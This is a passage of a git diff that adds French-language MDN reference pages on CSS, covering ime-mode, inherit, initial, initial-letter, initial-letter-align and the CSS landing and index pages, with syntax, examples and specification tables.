+ <li>{{CSSxRef("imagefunction", "image()")}}</li>
+ <li>{{cssxref("image-set()")}}</li>
+ <li>{{CSSxRef("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/ime-mode/index.html b/files/fr/web/css/ime-mode/index.html
new file mode 100644
index 0000000000..0bae84381a
--- /dev/null
+++ b/files/fr/web/css/ime-mode/index.html
@@ -0,0 +1,100 @@
+---
+title: ime-mode
+slug: Web/CSS/ime-mode
+tags:
+  - CSS
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Web/CSS/ime-mode
+---
+<div>{{CSSRef}}{{obsolete_header}}</div>
+
+<p>La propriété <strong><code>ime-mode</code></strong> contrôle l'état de l'éditeur de méthode d'entrée (IME) pour la saisie des champs textuels.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+ime-mode: auto;
+ime-mode: normal;
+ime-mode: active;
+ime-mode: inactive;
+ime-mode: disabled;
+
+/* Valeurs globales */
+ime-mode: inherit;
+ime-mode: initial;
+ime-mode: unset;
+</pre>
+
+<p>Selon la spécification :</p>
+
+<p>« <code>ime-mode</code> » est en quelques sortes une propriété implémentée par quelques navigateurs, qui pose problème et qui est officiellement rendue obsolète par cette spécification</p>
+
+<p>Aussi, la spécification indique aux agents utilisateurs de ne pas prendre en charge <code>ime-mode</code> et il est déconseillé d'utiliser cette propriété dans des feuilles de styles.</p>
+
+<p>La propriété <code>ime-mode</code> est partiellement implémentée et de façon hétérogène entre les différents navigateurs. Elle est apparue sous la forme d'une extension Microsoft avec Internet Explorer 5 : {{spec("http://msdn.microsoft.com/library/ms530767(VS.85).aspx","-ms-ime-mode Attribute | imeMode Property")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il n'est, en général, pas pertinent de modifier le mode IME d'un site. Cette propriété ne devrait être utilisée que pour des applications web privées ou pour annuler une modification de cette propriété par du code historique.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de cette propriété peut être l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Aucun changement n'est apporté à l'état de l'éditeur. C'est la valeur par défaut.</dd>
+ <dt><code>normal</code></dt>
+ <dd>L'état de l'IME devrait être normal. Cette valeur peut être utilisée via une feuille de style utilisateur pour surcharger la valeur indiquée par le document. <em>Cette valeur n'est pas prise en charge par Internet Explorer.</em></dd>
+ <dt><code>active</code></dt>
+ <dd>L'éditeur de méthode d'entrée est actif au début et la saisie utilise l'éditeur sauf si l'utilisateur le ferme. <em>Cette valeur n'est pas prise en charge sur Linux.</em></dd>
+ <dt><code>inactive</code></dt>
+ <dd>L'éditeur de méthode d'entrée est inactif au début et l'utilisateur peut l'activer si besoin.<em> Cette valeur n'est pas prise en charge sur Linux.</em></dd>
+ <dt><code>disabled</code></dt>
+ <dd>L'éditeur de méthode d'entrée est désactivé et ne peut pas être activé par l'utilisateur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;input type="text" name="name" value="initial value" style="ime-mode: disabled"&gt;</pre>
+
+<p>Cet exemple désactive l'IME pour un champ donné (par exemple pour saisir des données dans une base de données qui ne supporte pas certains jeux de caractères).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#input-method-editor', 'ime-mode')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale. Rend <code>ime-mode</code> obsolète.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.ime-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété Microsoft avec un suffixe propriétaire IE5 {{spec("http://msdn.microsoft.com/library/ms530767(VS.85).aspx","-ms-ime-mode Attribute | imeMode Property")}}</li>
+</ul>
diff --git a/files/fr/web/css/implémentation_des_brouillons_css/index.html b/files/fr/web/css/implémentation_des_brouillons_css/index.html
new file mode 100644
index 0000000000..5a7b19f747
--- /dev/null
+++ b/files/fr/web/css/implémentation_des_brouillons_css/index.html
@@ -0,0 +1,46 @@
+---
+title: Implémentation des fonctionnalités CSS à l'état de brouillon
+slug: Web/CSS/Implémentation_des_Brouillons_CSS
+tags:
+  - CSS
+  - Draft
+  - NeedsContent
+translation_of: Web/CSS/Mozilla_Extensions
+---
+<div>{{CSSRef}}{{Draft}}</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Les extensions Microsoft à CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Extensions_Mozilla">Les extensions Mozilla à CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit">Les extensions WebKit à CSS</a></li>
+</ul>
+</div>
+
+<p>Mozilla gère un certain nombre d'extensions <a href="/fr/docs/Web/CSS" title="en/CSS">CSS</a> préfixées par<code> -moz-</code>. La liste suivante contient toutes les extensions Mozilla correspondant aux  implémentations de fonctionnalités en cours de standardisation par le W3C. Les fonctionnalités propriétaires ne sont pas présentes dans cette liste.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<p>...</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>...</p>
+
+<h3 id="Pseudo-éléments_et_pseudo-classes">Pseudo-éléments et pseudo-classes</h3>
+
+<p>...</p>
+
+<h3 id="Règles_At">Règles At</h3>
+
+<p>...</p>
+
+<h3 id="Requêtes_de_média">Requêtes de média</h3>
+
+<p>...</p>
+
+<h3 id="Autres">Autres</h3>
+
+<p>...</p>
diff --git a/files/fr/web/css/index.html b/files/fr/web/css/index.html
new file mode 100644
index 0000000000..fedb551fe9
--- /dev/null
+++ b/files/fr/web/css/index.html
@@ -0,0 +1,104 @@
+---
+title: 'CSS : Feuilles de style en cascade'
+slug: Web/CSS
+tags:
+  - CSS
+  - Design
+  - Landing
+  - Reference
+  - Structure
+  - Styles
+translation_of: Web/CSS
+---
+<p>{{CSSRef}}</p>
+
+<div class="twocolumns">
+<div class="hidden">
+<div class="blockIndicator note">
+<p class="summary"><span class="seoSummary"><strong>Cascading Style Sheets</strong> (<strong>CSS</strong>) est un langage de feuille de style utilisé pour décrire la présentation d'un document écrit en <a href="/fr/docs/Web/HTML" title="HyperText Markup Language">HTML</a></span> ou en <a href="/fr/docs/Glossaire/XML">XML</a> (on inclut ici les langages basés sur XML comme <a href="/fr/docs/Web/SVG">SVG</a> ou {{Glossary("XHTML", "",1)}}). CSS décrit la façon dont les éléments doivent être affichés à l'écran, sur du papier, en vocalisation, ou sur d'autres supports.</p>
+</div>
+</div>
+</div>
+
+<p>CSS est l'un des langages principaux du <strong>Web ouvert</strong> et a été standardisé <a class="external" href="https://w3.org/Style/CSS/#specs">par le W3C</a>. Ce standard évolue sous forme de niveaux (<em>levels</em>), CSS1 est désormais considéré comme obsolète, CSS2.1 correspond à la recommandation et <a href="/fr/docs/Web/CSS/CSS3">CSS3</a>, qui est découpé en modules plus petits, est en voie de standardisation.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>Introduction à CSS</span>
+
+  <p>Si vous débutez en développement web, n'hésitez pas à consulter l'article <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS">les bases de CSS</a> pour découvrir CSS, ce que c'est et comment l'utiliser.</p>
+ </li>
+ <li><span>Tutoriels CSS</span>
+  <p>Notre section <a href="/fr/Apprendre/CSS">Apprendre le Web - CSS</a> contient de nombreux tutoriels pour vous guider d'un niveau débutant à intermédiaire en CSS. Elle couvre l'ensemble des concepts fondamentaux en CSS.</p>
+ </li>
+ <li><span>La référence CSS</span>
+  <p><a href="/fr/docs/Web/CSS/Reference">Une référence exhaustive</a> destinée aux développeurs web expérimenté et qui décrit chaque propriété et concept de CSS.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Tutoriels">Tutoriels</h2>
+
+<p>La section <a href="/fr/Apprendre/CSS">Apprendre le Web</a> fournit différents modules qui permettent d'apprendre CSS sans connaissance particulière préalable.</p>
+
+<dl>
+ <dt><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Introduction à CSS</a></dt>
+ <dd>Dans ce module, on commence avec les bases du fonctionnement de CSS : les sélecteurs, les propriétés, écrire des règles CSS, appliquer du CSS à un document HTML, utiliser des longueurs, des couleurs et d'autres unités. On voit également la cascade et l'héritage en CSS, les bases du modèle de boîtes et comment déboguer du code CSS.</dd>
+ <dt><a href="/fr/docs/Learn/CSS/Styling_text">Mettre en forme le texte</a></dt>
+ <dd>Dans ce chapitre, on voit comment mettre en forme du texte : changer la police, mettre en gras, mettre en italique, gérer les espaces entre les lignes et les lettres, ajouter des ombres portées, etc. En fin de chapitre, on voit comment appliquer des polices personnalisées sur une page et comment mettre en forme les listes et les liens.</dd>
+ <dt><a href="/fr/docs/Learn/CSS/Styling_boxes">Mettre en forme les boîtes</a></dt>
+ <dd>Ensuite, on voit comment mettre en forme les boîtes CSS qui sont un composant clé de la mise en page d'une page web. Dans ce module, on revoit le modèle de boîtes, comment régler les propriétés de remplissage, bordures et marges, comment définir des couleurs d'arrière-plan, des images et aussi comment appliquer des ombres et des filtres sur les boîtes.</dd>
+ <dt><a href="/fr/docs/Learn/CSS/CSS_layout">La disposition en CSS</a></dt>
+ <dd>Avant ce chapitre, on a vu les concepts fondamentaux en CSS, comment mettre en forme du texte, comment manipuler des boîtes correctement, etc. On voit ici comment correctement placer les boîtes dans la zone d'affichage (<em>viewport</em>). Grâce aux concepts précédents, on peut désormais étudier les différentes méthodes pour positionner les éléments sur une page : les boîtes flottantes, le positionnement fixe et les nouveaux outils comme les boîtes flexibles (<em>flexbox</em>).</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Références">Références</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></dt>
+ <dd>Une référence exhaustive, destinée aux développeurs web expérimentés. Elle décrit les différentes propriétés et concepts qui composent CSS.</dd>
+ <dt>Les concepts majeurs de CSS</dt>
+ <dd>Plusieurs articles de cette section présentent les aspects clés du langage. On y décrit notamment :
+ <ul>
+  <li><a href="/fr/docs/Web/CSS/Syntaxe">la syntaxe et les formes du langage</a></li>
+  <li><a href="/fr/docs/Web/CSS/Spécificité">la spécificité</a> et <a href="/fr/docs/Web/CSS/Héritage">l'héritage</a></li>
+  <li><a href="/fr/docs/Web/CSS/Valeurs_et_unit%C3%A9s_CSS">les unités et valeurs CSS</a></li>
+  <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">le modèle de boîtes</a> et <a href="/fr/docs/CSS/margin_collapsing">la fusion des marges</a></li>
+  <li><a href="/fr/docs/Web/CSS/All_About_The_Containing_Block">le bloc conteneur</a></li>
+  <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/L'empilement_de_couches">l'empilement</a> et <a href="/fr/docs/Web/CSS/Block_formatting_context">le contexte de formatage de blocs</a></li>
+  <li>les concepts de <a href="/fr/docs/Web/CSS/Valeur_initiale">valeur initiale</a>, <a href="/fr/docs/Web/CSS/Valeur_calculée">valeur calculée</a>, <a href="/fr/docs/Web/CSS/Valeur_utilisée">valeur utilisée</a> et <a href="/fr/docs/Web/CSS/valeur_reelle">valeur réelle</a></li>
+  <li><a href="/fr/docs/Web/CSS/Propriétés_raccourcies">Les propriétés raccourcies</a></li>
+  <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">Les boîtes flexibles CSS (<u><em>flexbox</em></u>)</a></li>
+  <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">La grille CSS</a></li>
+  <li><a href="/fr/docs/Web/CSS/Requêtes_média">Les <em>media queries</em> (requêtes media)</a></li>
+  <li><a href="/fr/docs/Web/CSS/animation">Les animations</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 class="Tools" id="Livre_de_recettes">Livre de recettes</h2>
+
+<p><a href="/fr/docs/Web/CSS/Layout_cookbook">Le livre de recettes de disposition CSS</a> contient différentes recettes pour mettre en place différentes dispositions courantes. En plus de fournir du code pouvant servir de point de départ, ces recettes illustrent les différentes façons dont les spécifications CSS liées à la disposition peuvent être utilisées ainsi que les choix à faire en tant que développeur.</p>
+
+<h2 class="Tools" id="Outils_de_développement_pour_CSS">Outils de développement pour CSS</h2>
+
+<ul>
+ <li><a href="https://jigsaw.w3.org/css-validator/">Le service de validation CSS du W3C</a> permet de vérifier si une feuille de style CSS est valide.</li>
+ <li><a href="/fr/docs/Outils">Les outils de développement Firefox</a> permettent de visualiser, d'éditer une feuille de style en direct grâce à <a href="/fr/docs/Outils/Inspecteur">l'inspecteur</a> et à <a href="/fr/docs/Outils/Éditeur_de_style">l'éditeur de styles</a>.</li>
+ <li><a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">L'extension Web Developer</a> permet d'éditer le code CSS des sites visités à la volée.</li>
+ <li><a href="/fr/docs/Web/CSS/Tools">D'autres outils</a>, <a href="https://www.cssdebutant.com/">guide pour les débutants</a>.</li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS">La partie CSS de la section Apprendre le Web.</a></li>
+ <li>Les langages web sur lesquels CSS est souvent utilisé : <a href="/fr/docs/Web/HTML">HTML</a>, <a href="/fr/docs/Web/SVG">SVG</a>, {{Glossary("XHTML", "",1)}} et <a href="/fr/docs/Glossaire/XML">XML</a>.</li>
+ <li>Des technologies Mozilla qui emploient CSS : <a href="/fr/docs/Mozilla/Firefox">Firefox</a>, <a href="/fr/docs/Mozilla/Add-ons/Thèmes">les thèmes</a> et <a href="/fr/docs/Mozilla/Thunderbird">extensions Thunderbird</a>.</li>
+</ul>
diff --git a/files/fr/web/css/index/index.html b/files/fr/web/css/index/index.html
new file mode 100644
index 0000000000..aa0bcd3253
--- /dev/null
+++ b/files/fr/web/css/index/index.html
@@ -0,0 +1,10 @@
+---
+title: Index de la documentation CSS
+slug: Web/CSS/Index
+tags:
+  - CSS
+  - Index
+  - MDN Meta
+translation_of: Web/CSS/Index
+---
+<p>{{Index("/fr/docs/Web/CSS")}}</p>
diff --git a/files/fr/web/css/inherit/index.html b/files/fr/web/css/inherit/index.html
new file mode 100644
index 0000000000..ee133c8016
--- /dev/null
+++ b/files/fr/web/css/inherit/index.html
@@ -0,0 +1,89 @@
+---
+title: inherit
+slug: Web/CSS/inherit
+tags:
+  - CSS
+  - Mot-clé
+  - Reference
+translation_of: Web/CSS/inherit
+---
+<div>{{CSSRef}}</div>
+
+<p>Le mot-clé <strong><code>inherit</code></strong> est une valeur qui peut être utilisée pour qu'une propriété prenne <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de la propriété pour l'élément parent. Cette valeur peut être utilisée sur n'importe quelle propriété CSS, y compris sur la propriété raccourcie {{cssxref("all")}}.</p>
+
+<p>Pour <a href="/fr/docs/Web/CSS/Héritage#Propriétés_héritées" title="en/CSS/inheritance">les propriétés héritées</a>, cela accentue le comportement par défaut et ce mot-clé n'est nécessaire que pour surcharger une autre règle.</p>
+
+<p>Pour <a href="/fr/docs/Web/CSS/Héritage#Propriétés_non_héritées" title="en/CSS/inheritance">les propriétés non-héritées</a>, cela permettra d'obtenir le comportement indiqué. Ce comportement a peu d'intérêt dans ces cas et mieux vaudra utiliser {{cssxref("initial")}} ou {{cssxref("unset")}}.</p>
+
+<p>L'héritage provient toujours de l'élément parent par rapport à l'arbre du document, même si cet élément n'est pas le bloc englobant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: green;
+}
+
+.exemple {
+  color: inherit;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Alice remarqua, avec quelque surprise, qu’en
+   tombant sur le plancher les cailloux se changeaient
+   en petits gâteaux, et une brillante idée lui
+   traversa l’esprit.&lt;/p&gt;
+&lt;p class="exemple"&gt;Elle avala un des gâteaux, et s’aperçut avec
+   joie qu’elle diminuait rapidement&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#inherit', 'inherit')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', "#common-keywords", "inherit")}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucun changement {{SpecName('CSS2.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit")}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.global_keywords.inherit")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Héritage">L'héritage</a></li>
+ <li>La propriété {{cssxref("all")}}</li>
+ <li>Les propriétés globales {{cssxref("initial")}}, {{cssxref("unset")}} et {{cssxref("revert")}}.</li>
+ <li>La propriété {{cssxref("all")}} permet de réinitialiser l'ensemble des propriétés avec leurs valeurs initiales, héritées, annulées ou indéfinies.</li>
+</ul>
diff --git a/files/fr/web/css/initial-letter-align/index.html b/files/fr/web/css/initial-letter-align/index.html
new file mode 100644
index 0000000000..cdbe179beb
--- /dev/null
+++ b/files/fr/web/css/initial-letter-align/index.html
@@ -0,0 +1,104 @@
+---
+title: initial-letter-align
+slug: Web/CSS/initial-letter-align
+tags:
+  - Alignement
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/initial-letter-align
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>initial-letter-align</code></strong> définit l'alignement des premières lettres d'un paragraphe lorsque celles-ci sont mises en avant grâce à {{cssxref("initial-letter")}} pour former une lettrine.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+initial-letter-align: auto;
+initial-letter-align: alphabetic;
+initial-letter-align: border-box;
+initial-letter-align: hanging;
+initial-letter-align: hebrew;
+initial-letter-align: ideographic;
+
+/* Valeurs globales */
+initial-letter-align: inherit;
+initial-letter-align: initial;
+initial-letter-align: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de cette propriété peut être l'un des mots-clés parmi ceux définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur choisit la meilleure valeur par rapport à la langue du texte. Pour les langues occidentales, cela sera <code>alphabetic</code>, pour les langues hébraïques <code>hebrew</code>, pour les langues CJK <code>ideographic</code> et pour certaines langues indo-aryennes, cela correspondra à <code>hanging</code>.</dd>
+ <dt><code>alphabetic</code></dt>
+ <dd>La ligne de majuscule est alignée avec la ligne de majuscule de la première ligne de texte. La ligne de pied de la première lettre s'aligne avec la ligne de pied de la N-ième ligne.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>C'est la boîte formée par la première lettre qui s'aligne avec la ligne de jambage de la première ligne de texte.</dd>
+ <dt><code>hanging</code></dt>
+ <dd>La ligne de jambage de la première lettre est alignée avec la ligne de jambage de la première ligne de texte.</dd>
+ <dt><code>hebrew</code></dt>
+ <dd>La ligne de jambage et la ligne de base alphabétique hébreuses du texte qui suit qui sont utilisées pour aligner la première lettre.</dd>
+ <dt><code>ideographic</code></dt>
+ <dd>La première lettre est centrée par rapport à la N-ième ligne utilisée pour la lettrine.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  initial-letter: 3 1;
+  initial-letter-align: hanging;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Tombe, tombe, tombe ! « Cette chute n’en finira
+  donc pas ! Je suis curieuse de savoir combien de
+  milles j’ai déjà faits, » dit-elle tout haut. « Je
+  dois être bien près du centre de la terre. Voyons
+  donc, cela serait à quatre mille milles de profondeur,
+  il me semble. » &lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Inline', '#aligning-initial-letter', 'initial-letter-align')}}</td>
+   <td>{{Spec2('CSS3 Inline')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.initial-letter-align")}}</p>
diff --git a/files/fr/web/css/initial-letter/index.html b/files/fr/web/css/initial-letter/index.html
new file mode 100644
index 0000000000..016c320d49
--- /dev/null
+++ b/files/fr/web/css/initial-letter/index.html
@@ -0,0 +1,97 @@
+---
+title: initial-letter
+slug: Web/CSS/initial-letter
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/initial-letter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>initial-letter</code></strong> permet de définir la mise en forme pour les lettrines (qu'elles soient abaissées, surélevées ou autre).</p>
+
+<pre class="brush: css  no-line-numbers">/* Valeurs avec un mot-clé */
+initial-letter: normal;
+
+/* Valeurs numériques            */
+/* Types &lt;number&gt; puis &lt;integer&gt; */
+initial-letter: 1.5;   /* La première lettre occupe 1.5 lignes */
+initial-letter: 3.0;   /* La première lettre occupe 3 lignes   */
+initial-letter: 3.0 2; /* La première lettre occupe 3 lignes et
+                          s'enfonce de deux lignes vers le bas */
+
+/* Valeurs globales */
+initial-letter: inherit;
+initial-letter: initial;
+initial-letter: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de cette propriété peut être le mot-clé <code>normal</code> ou un nombre (<code>&lt;number&gt;</code>) éventuellement suivi d'un entier (<code>&lt;integer&gt;</code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le texte se comporte de façon normale et on n'a pas de lettrines.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Cet argument définit le facteur de taille appliqué pour calculer la taille de la première lettre par rapport à la taille de la ligne du texte. Les valeurs négatives ne sont pas autorisées.</dd>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Cet argument définit le nombre de lignes dont s'enfoncera la lettrine vers le bas. La valeur utilisée doit être supérieure à 0. Si cet argument est absent, on dupliquera la valeur du premier argument, arrondi vers le bas à l'entier positif le plus proche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  -webkit-initial-letter: 3.0 2;
+  initial-letter: 3.0 2;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Un grand rosier se trouvait à l’entrée du jardin ;
+  les roses qu’il portait étaient blanches, mais trois
+  jardiniers étaient en train de les peindre en rouge.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Inline', '#sizing-drop-initials', 'initial-letter')}}</td>
+   <td>{{Spec2('CSS3 Inline')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.initial-letter")}}</p>
diff --git a/files/fr/web/css/initial/index.html b/files/fr/web/css/initial/index.html
new file mode 100644
index 0000000000..f4a7d0e3e6
--- /dev/null
+++ b/files/fr/web/css/initial/index.html
@@ -0,0 +1,90 @@
+---
+title: initial
+slug: Web/CSS/initial
+tags:
+  - CSS
+  - Cascade
+  - Mot-clé
+  - Reference
+translation_of: Web/CSS/initial
+---
+<div>{{CSSRef}}</div>
+
+<p>Le mot-clé <strong><code>initial</code></strong> applique la valeur initiale d'une propriété à un élément. La valeur initiale est fournie par le navigateur et peut être utilisée pour chaque propriété CSS. Cette propriété prendra alors <a href="/fr/docs/Web/CSS/Valeur_initiale">la valeur initiale</a> spécifiée pour cette la propriété.</p>
+
+<p>La propriété {{cssxref("all")}} peut être utilisée avec cette valeur afin de réinitialiser l'ensemble des propriétés CSS.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour <a href="/fr/docs/Web/CSS/Héritage#Propriétés_héritées">les propriétés héritées</a>, la valeur initiale peut donner des résultats étranges et mieux vaudra utiliser les mots-clés {{cssxref("inherit")}}, {{cssxref("unset")}} ou {{cssxref("revert")}}. Attention également à ne pas confondre la valeur initiale avec la valeur décrite dans la feuille de style portée par le navigateur.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On écrit le texte en rouge */
+.exemple {
+  color: red;
+}
+
+/* Et on veut que le texte mis en avant
+   prenne la valeur initiale de
+   color */
+.exemple em {
+  color: initial;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;p class="exemple"&gt;
+    Texte rouge
+       &lt;em&gt;
+          ce texte est avec la couleur initiale (noire)
+       &lt;/em&gt;
+    ce texte est rouge aussi
+ &lt;/p&gt; </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#initial', 'initial')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Cascade', '#initial', 'initial')}}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.global_keywords.initial")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
